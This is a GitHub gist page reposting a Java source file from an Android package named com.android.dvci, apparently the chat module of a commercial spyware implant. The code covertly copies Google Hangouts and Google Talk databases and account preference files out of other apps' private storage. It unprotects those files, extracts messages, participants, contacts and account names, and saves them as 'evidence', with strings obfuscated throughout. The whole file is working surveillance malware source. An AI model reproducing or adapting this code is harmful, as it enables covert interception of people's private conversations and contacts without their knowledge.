Created
July 11, 2015 16:54
-
-
Save peterclemenko/858adbe28a93e3eecab9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.android.dvci.module.chat; | |
import android.database.Cursor; | |
import com.android.dvci.auto.Cfg; | |
import com.android.dvci.db.GenericSqliteHelper; | |
import com.android.dvci.db.RecordVisitor; | |
import com.android.dvci.file.Path; | |
import com.android.dvci.manager.ManagerModule; | |
import com.android.dvci.module.ModuleAddressBook; | |
import com.android.dvci.util.Check; | |
import com.android.dvci.util.StringUtils; | |
import com.android.mm.M; | |
import org.w3c.dom.Document; | |
import org.w3c.dom.NamedNodeMap; | |
import org.w3c.dom.Node; | |
import org.w3c.dom.NodeList; | |
import java.io.File; | |
import java.io.IOException; | |
import java.util.ArrayList; | |
import java.util.Date; | |
import java.util.List; | |
import java.util.concurrent.Semaphore; | |
import javax.xml.parsers.DocumentBuilder; | |
import javax.xml.parsers.DocumentBuilderFactory; | |
public class ChatGoogle extends SubModuleChat { | |
private static final String TAG = "ChatGoogle"; | |
private static final int PROGRAM = 0x04; | |
String pObserving = M.e("com.google.android.talk"); | |
private Semaphore readBabelSemaphore = new Semaphore(1); | |
@Override | |
int getProgramId() { | |
return PROGRAM; | |
} | |
@Override | |
String getObservingProgram() { | |
return pObserving; | |
} | |
@Override | |
void notifyStopProgram(String processName) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (notification stop)"); | |
} | |
readChatMessages(); | |
} | |
/** | |
* Estrae dal file RegisterPhone.xml il numero di telefono | |
* | |
* @return | |
*/ | |
@Override | |
protected void start() { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (actualStart)"); | |
} | |
readChatMessages(); | |
} | |
private void readChatMessages() { | |
if (!readBabelSemaphore.tryAcquire()) { | |
return; | |
} | |
try { | |
long[] lastLines = markup.unserialize(new long[2]); | |
String babel0 = M.e("babel0.db"); | |
String babel1 = M.e("babel1.db"); | |
String account = readAccount("1.name"); | |
if (StringUtils.isEmpty(account) || !readHangoutMessages(lastLines, babel1, account)) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readChatMessages) try babel0"); | |
} | |
account = readAccount("0.name"); | |
readHangoutMessages(lastLines, babel0, account); | |
} | |
readGoogleTalkMessages(lastLines); | |
serializeMarkup(lastLines); | |
} finally { | |
readBabelSemaphore.release(); | |
} | |
} | |
private void serializeMarkup(long[] lastLines) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readChatMessages): updating markup"); | |
} | |
try { | |
markup.writeMarkupSerializable(lastLines); | |
} catch (IOException e) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readChatWeChatMessages) Error: " + e); | |
} | |
} | |
} | |
private boolean readHangoutMessages(long[] lastLines, String dbFile, String account) { | |
String dbDir = M.e("/data/data/com.google.android.talk/databases"); | |
//if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) { | |
// saveContacts(helper); | |
//} | |
String sql_c = M.e("select cp.conversation_id, latest_message_timestamp, full_name, latest_message_timestamp from conversations as c ") + | |
M.e("join conversation_participants as cp on c.conversation_id=cp.conversation_id join participants as p on cp.participant_row_id=p._id"); | |
// babel | |
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile); | |
if (helper == null) { | |
return false; | |
} | |
try { | |
ChatGroups groups = new ChatGroups(); | |
long newHangoutReadDate = 0; | |
List<HangoutConversation> conversations = getHangoutConversations(helper, account, lastLines[1]); | |
for (HangoutConversation sc : conversations) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readHangoutMessages) conversation: " + sc.id + " date: " + sc.date); | |
} | |
// retrieves the lastConvId recorded as evidence for this | |
// conversation | |
if (sc.isGroup() && !groups.hasMemoizedGroup(sc.id)) { | |
fetchHangoutParticipants(helper, account, sc.id, groups); | |
//groups.addPeerToGroup(sc.id, account); | |
} | |
long lastReadId = fetchHangoutMessages(helper, sc, groups, lastLines[1]); | |
newHangoutReadDate = Math.max(newHangoutReadDate, lastReadId); | |
} | |
if (newHangoutReadDate > 0) { | |
lastLines[1] = newHangoutReadDate; | |
} | |
} finally { | |
helper.disposeDb(); | |
} | |
return true; | |
} | |
private long fetchHangoutMessages(GenericSqliteHelper helper, final HangoutConversation conversation, final ChatGroups groups, long lastTimestamp) { | |
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); | |
String sql_m = String.format(M.e("select m._id, full_name, fallback_name ,text, timestamp, type, p.chat_id ") + | |
M.e("from messages as m join participants as p on m.author_chat_id = p.chat_id where type<3 and conversation_id='%s' and timestamp>%s"), | |
conversation.id, lastTimestamp); | |
RecordVisitor visitor = new RecordVisitor() { | |
@Override | |
public long cursor(Cursor cursor) { | |
// I read a line in a conversation. | |
int id = cursor.getInt(0); | |
String fullName = cursor.getString(1); | |
String fallback_name = cursor.getString(2); | |
String body = cursor.getString(3); | |
long timestamp = cursor.getLong(4); | |
boolean incoming = cursor.getInt(5) == 2; | |
String chat_id = cursor.getString(6); | |
String peer = fullName; | |
//if (fallback_name!=null) | |
// peer = fallback_name; | |
// localtime or gmt? should be converted to gmt | |
Date date = new Date(timestamp / 1000); | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (cursor) peer: " + peer + " timestamp: " + timestamp + " incoming: " | |
+ incoming); | |
} | |
boolean isGroup = conversation.isGroup(); | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (cursor) incoming: " + incoming + " group: " + isGroup); | |
} | |
String from, to = null; | |
String fromDisplay, toDisplay = null; | |
from = incoming ? peer : conversation.account; | |
fromDisplay = incoming ? peer : conversation.account; | |
Contact contact = groups.getContact(peer); | |
if (isGroup) { | |
// if (peer.equals("0")) { | |
// peer = conversation.account; | |
// } | |
to = groups.getGroupToName(from, conversation.id); | |
toDisplay = to; | |
} else { | |
to = incoming ? conversation.account : conversation.remote; | |
toDisplay = incoming ? conversation.account : conversation.remote; | |
} | |
if (!StringUtils.isEmpty(body)) { | |
MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay, | |
body, incoming); | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (cursor) message: " + message.from + " " | |
+ (message.incoming ? "<-" : "->") + " " + message.to + " : " + message.body); | |
} | |
messages.add(message); | |
} | |
return timestamp; | |
} | |
}; | |
long newLastId = helper.traverseRawQuery(sql_m, new String[]{}, visitor); | |
if (messages != null && messages.size() > 0) { | |
saveEvidence(messages); | |
} | |
return newLastId; | |
} | |
public void saveEvidence(ArrayList<MessageChat> messages) { | |
getModule().saveEvidence(messages); | |
} | |
private void fetchHangoutParticipants(GenericSqliteHelper helper, final String account, final String thread_id, final ChatGroups groups) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (fetchHangoutParticipants) : " + thread_id); | |
} | |
RecordVisitor visitor = new RecordVisitor() { | |
@Override | |
public long cursor(Cursor cursor) { | |
String id = cursor.getString(0); | |
String fullname = cursor.getString(1); | |
String fallback = cursor.getString(2); | |
Contact contact; | |
String email = fullname; | |
if (email == null) | |
return 0; | |
contact = new Contact(id, email, fullname, ""); | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (fetchParticipants) %s", contact); | |
} | |
if (email != null) { | |
groups.addPeerToGroup(thread_id, contact); | |
} | |
return 0; | |
} | |
}; | |
String sqlquery = M.e("select p.chat_id, full_name, fallback_name, cp.conversation_id from conversation_participants as cp join participants as p on cp.participant_row_id=p._id where conversation_id=?"); | |
helper.traverseRawQuery(sqlquery, new String[]{thread_id}, visitor); | |
} | |
private List<HangoutConversation> getHangoutConversations(GenericSqliteHelper helper, final String account, long timestamp) { | |
final List<HangoutConversation> conversations = new ArrayList<HangoutConversation>(); | |
String[] projection = new String[]{M.e("conversation_id"), M.e("latest_message_timestamp"), M.e("conversation_type"), M.e("generated_name")}; | |
String selection = "latest_message_timestamp > " + timestamp; | |
RecordVisitor visitor = new RecordVisitor(projection, selection) { | |
@Override | |
public long cursor(Cursor cursor) { | |
HangoutConversation c = new HangoutConversation(); | |
c.account = account; | |
c.id = cursor.getString(0); | |
c.date = cursor.getLong(1); | |
c.group = cursor.getInt(2) == 2; | |
c.remote = cursor.getString(3); | |
c.group = true; | |
conversations.add(c); | |
return 0; | |
} | |
}; | |
helper.traverseRecords(M.e("conversations"), visitor); | |
return conversations; | |
} | |
private String readAccount(String nameField) { | |
String xmlDir = M.e("/data/data/com.google.android.talk/shared_prefs"); | |
String xmlFile = M.e("accounts.xml"); | |
Path.unprotect(xmlDir, xmlFile, true); | |
DocumentBuilder builder; | |
String account = null; | |
try { | |
builder = DocumentBuilderFactory.newInstance().newDocumentBuilder(); | |
Document doc = builder.parse(new File(xmlDir, xmlFile)); | |
NodeList defaults = doc.getElementsByTagName("string"); | |
for (int i = 0; i < defaults.getLength(); i++) { | |
Node d = defaults.item(i); | |
NamedNodeMap attributes = d.getAttributes(); | |
Node attr = attributes.getNamedItem("name"); | |
// nameField = "0.name" | |
if (nameField.equals(attr.getNodeValue())) { | |
Node child = d.getFirstChild(); | |
account = child.getNodeValue(); | |
break; | |
} | |
} | |
} catch (Exception e) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readAccount) Error: " + e); | |
} | |
} | |
if (account != null) { | |
ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.GOOGLE, account); | |
} | |
return account; | |
} | |
private void readGoogleTalkMessages(long[] lastLines) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readChatMessages)"); | |
} | |
try { | |
String dbFile = M.e("talk.db"); | |
String dbDir = M.e("/data/data/com.google.android.gsf/databases"); | |
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile); | |
if (helper == null) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbFile); | |
} | |
return; | |
} | |
try { | |
setMyAccount(helper); | |
// Save contacts if AddressBook is active | |
if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) { | |
saveContacts(helper); | |
} | |
long newLastLine = fetchGTalkMessages(helper, lastLines[0]); | |
lastLines[0] = newLastLine; | |
} finally { | |
helper.disposeDb(); | |
} | |
} catch (Exception ex) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readChatWeChatMessages) Error: ", ex); | |
} | |
} | |
} | |
private long fetchGTalkMessages(GenericSqliteHelper helper, long lastLine) { | |
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); | |
String sqlquery = M.e("select m.date, ac.name, m.type, body, co.username, co.nickname from messages as m join contacts as co on m.thread_id = co._id join accounts as ac on co.account = ac._id where m.consolidation_key is null and m.type<=1 and m.date>?"); | |
RecordVisitor visitor = new RecordVisitor() { | |
@Override | |
public long cursor(Cursor cursor) { | |
long createTime = cursor.getLong(0); | |
// localtime or gmt? should be converted to gmt | |
Date date = new Date(createTime); | |
String account = cursor.getString(1); | |
int isSend = cursor.getInt(2); | |
boolean incoming = isSend == 1; | |
String content = cursor.getString(3); | |
String co_username = cursor.getString(4); | |
String co_nick = cursor.getString(5); | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (cursor) %s] %s %s %s: %s ", date, account, (incoming ? "<-" : "->"), co_nick, | |
content); | |
} | |
String from_id, from_display, to_id, to_display; | |
if (co_nick == null || co_nick.startsWith(M.e("private-chat"))) { | |
return 0; | |
} | |
if (incoming) { | |
from_id = co_username; | |
from_display = co_nick; | |
to_id = account; | |
to_display = account; | |
} else { | |
from_id = account; | |
from_display = account; | |
to_id = co_username; | |
to_display = co_nick; | |
} | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (cursor) %s -> %s", from_id, to_id); | |
} | |
MessageChat message = new MessageChat(PROGRAM, date, from_id, from_display, to_id, to_display, content, | |
incoming); | |
messages.add(message); | |
return createTime; | |
} | |
}; | |
long lastCreationLine = helper.traverseRawQuery(sqlquery, new String[]{Long.toString(lastLine)}, visitor); | |
getModule().saveEvidence(messages); | |
return lastCreationLine; | |
} | |
private void setMyAccount(GenericSqliteHelper helper) { | |
String[] projection = new String[]{"_id", "name", "username"}; | |
RecordVisitor visitor = new RecordVisitor() { | |
@Override | |
public long cursor(Cursor cursor) { | |
int id = cursor.getInt(0); | |
String name = cursor.getString(1); | |
String username = cursor.getString(2); | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (setMyAccount) %s, %s", name, username); | |
} | |
ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.GOOGLE, name); | |
return id; | |
} | |
}; | |
long ret = helper.traverseRecords("accounts", visitor); | |
} | |
private void saveContacts(GenericSqliteHelper helper) { | |
String[] projection = new String[]{"username", "nickname"}; | |
boolean tosave = false; | |
RecordVisitor visitor = new RecordVisitor(projection, "nickname not null ") { | |
@Override | |
public long cursor(Cursor cursor) { | |
String username = cursor.getString(0); | |
String nick = cursor.getString(1); | |
Contact c = new Contact(username, username, nick, ""); | |
if (username != null && !username.endsWith(M.e("public.talk.google.com"))) { | |
if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.GOOGLE, c)) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (cursor) need to serialize"); | |
} | |
return 1; | |
} | |
} | |
return 0; | |
} | |
}; | |
if (helper.traverseRecords(M.e("contacts"), visitor) == 1) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (saveContacts) serialize"); | |
} | |
ModuleAddressBook.getInstance().serializeContacts(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment